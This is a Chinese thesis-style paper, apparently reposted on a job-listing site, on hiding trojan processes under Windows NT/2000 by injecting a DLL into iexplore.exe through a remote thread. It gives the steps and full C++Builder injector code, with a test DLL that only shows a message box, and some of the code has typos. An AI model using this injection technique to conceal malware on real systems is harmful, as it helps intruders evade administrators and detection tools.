欢迎来到蜗牛兼职网!

计算机理论专业论文:Windows NT/2000系统下进程的隐藏

类别:毕业论文  时间:2011-01-17   已浏览: 2112 次
摘要  进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

关键字进程  线程  木马  动态链接库 

    木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。
本文分析了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。

1 基本原理
    在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2 实现方法
  为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
  运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
    远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3 实施步骤
1)      用Process32Next()函数找到宿主进程,获取宿主进程ID,并用
        OpenProcess()函数打开宿主进程。
2)      用VirtualAllocEx()函数分配远程进程地址空间中的内存。
3)      用WriteProcessMemory()函数将待隐藏的DLL的路径名。
4)      拷贝到步骤二已经分配的内存中。
5)      用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。
6)      用CreateRemoteThread()函数在远程进程中创建一个线程。
7)      它调用正确的LoadlibraryA()函数。
8)      为它传递步骤二中分配的内存地址。

4  具体实例
    下面是在C++Builder 4.0环境下编写的运用远程线程技术隐藏木马的程序代码:
#include <vcl.h>
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>//该头文件包涵了进程操作的API函数
#pragma hdrstop
#include "Unit1.h"
#pragma package(smart_init)
#pragma resource "*.dfm"

Insisting pszLibFileName;//存放待隐藏的DLL文件名
HANDLE hProcessSnap=NULL;//进程快照句柄
HANDLE hRemoteProcess;//远程进程句柄
LPVOID pszLibFileRemote;//远程进程中分配给文件名的空间
HMODULE  phmd;//存放kernel32.dll句柄
HANDLE hRemoteThread1=NULL;//存放远程线程句柄

TForm1 *Form1;
//---------------------------------------------------------
__fast call TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender
{
  PROCESSENTRY32 pe32={0};
  DWORD dwRemoteProcessId;
  hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
                                         //打开进程快照
  if(hProcessSnap==(HANDLE)-1)
    {
     MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);
     exit(0);
    }  //失败返回

  pe32.dwSize=sizeof(PROCESSENTRY32);
  if(Process32First(hProcessSnap,&pe32)) //获取第一个进程
   {
     do{
        AnsiString  te;
        te=pe32.szExeFile;
         if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))
                                 //找到宿主进程,以IEXPLORE.EXE为例
            { dwRemoteProcessId=pe32.th32ProcessID;
              break;
            }
       }
     while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
   }
  else
   {
    MessageBox(NULL,"取第一个进程失败","",MB_OK);
    exit(0);
   }
   hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
             _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
                                     //打开远程进程
   pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
                                     // 假设hide.dll是待隐藏的进程
   int cb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度
   pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
            MEM_COMMIT,PAGE_READWRITE);
                                    //申请存放文件名的空间
   BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,
            pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
                                   //把dll文件名写入申请的空间
   phmd=GetModuleHandle("kernel32.dll");
   LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)
            GetProcAddress(phmd,"LoadLibraryA");
                                  //获取动态链接库函数地址
   hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
            pfnStartAddr,pszLibFileRemote,0,NULL);
                                  //创建远程线
   if(hRemoteThread1!=NULL)
     CloseHandle(hRemoteThread1);//关闭远程线程
   if(hProcessSnap!=NULL)
     CloseHandle(hProcessSnap);//关闭进程快照


  该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。
    至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

#include <vcl.h>
#include <windows.h>
#pragma hdrstop
#pragma argsused
BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
   char szProcessId[64];
   switch(reason)
    {
      case DLL_PROCESS_ATTACH:
       {//获取当前进程ID
        itoa(GetCurrentProcessId(),szProcessId,10);
        MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
        break;
       }
      default:
    }
  return TRUE;
}
  当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具
也能看到:
   Process ID: 1208 
   C:\WINNT\IEXPLORE.EXE (0x00400000)
   ……
   C:\WINNT\hide.dll (0x100000000)
   ……
  这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
5  结束语
    进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。


参考文献
1  Jeffrey Richter著 王建华、张焕生、侯丽坤等译  Windows核心编程   机械工业出版社2  
K.赖斯多夫 H. 亨德森著  希望图书创作室译 Borland C++ Builder 实用培训教程

相关文章阅读

1、新年招聘,血型也成考量标准? 网上有报道称,一家企业招聘人事助理,明确要求A或 AB型血;一家广告公司的老总在招聘时询问应聘者的星座,结果那些不满足她星座要求的求职者被拒之门外…… 新一年的招聘,各种各样的面试新花招相继出现。面对

2、创业周峰会开启创业嘉年华 3月29日,“中国大学生自主创业交流会暨全球创业周峰会”开幕。3月29日上午,前来参加“全球创业峰会”的世界著名创业大师、美国考夫曼基金会负责人卡尔·施拉姆一行,参观访问了位于国定东路的复旦大

3、大学文凭顶个什么用 记得好几年前网上有一个很著名的笑话,话说西安邮电学院的特色雕像景点就位于正门处,此雕像是“一男一女手挽手,女生拿书,男生手托一地球”的白色塑像,被同学们戏称为“读书顶个球”。这个雕像本来寓意很好,可是

4、传统文化论文:易图的逻辑划分与问题 提 要 本文取郑樵《通志》“《易》虽一书,而有十六种学”之说,提出了易学之属中本有图学之种的易图学概念。依《易传·系辞》“拟诸形容,象其物宜”之说,认为以“棥薄ⅰ?-”符号构建的八卦和六十四卦本身即是

5、宁波3000大学生自主创业 强有力带动就业 这是春天里一个令人欣喜的消息:3000余名大学生在我市自主创业,带动就业人数万人!正如市委书记王辉忠说的:大学生创业创新激情越高,宁波城市发展就越有活力、越有希望。   当前,宁波发展正站在新

6、首份工作的自荐信 您好!   感谢您在百忙之中阅读我的自荐信。   我是个平凡的女孩,但不甘于平庸,我乐观、自信、上进心强,爱好广泛,能够很好地处理人际关系,有协调沟通方面的特长,并且有很强的责任心与使命感,现在,

7、草根创业 充满理想的“车库咖啡” 北京中关村海淀桥附近一座外表普通的小楼里,有一家名为“车库咖啡”的咖啡店。这家几个月前才由网吧改成的小店,如今已经成为北京最热闹的咖啡店之一。   记者顺着楼梯走上去,首先看到的是一张设计精

8、金钱永不眠——被金钱奴役还是奴役金钱? 谁能否认,钱是好东西? 但钱这样的好东西在被人类支配时就会产生好与坏的结果。被金钱奴役,还是奴役金钱?这视乎个人的选择。 钱,固然是个好东西,而且我希望这辈子能够拥有很多很多的金钱。但,君子爱财,取之

9、美团网王兴议失败原因:多是现金流断裂   牛文文:呵呵,不如说,创业者都是取经人,其他都是用来磨练创业者意志的妖怪   网友:现在有种观点是:移动电子商务5年后一定会超过传统电子商务。您如何看待移动电子商务的前景?   牛文文:我非常看好

10、历史论文:历史课堂教学适应新教材的几项探索 在新课程基本理念的指导下,我们结合朝阳中学的历史教学实际,以转变教学方式和学习方式为突破口,以有助于学生的终身学习和终身幸福为根本宗旨,对历史教学进行大胆的改革,现将我们的做法简介如下: 一、改变课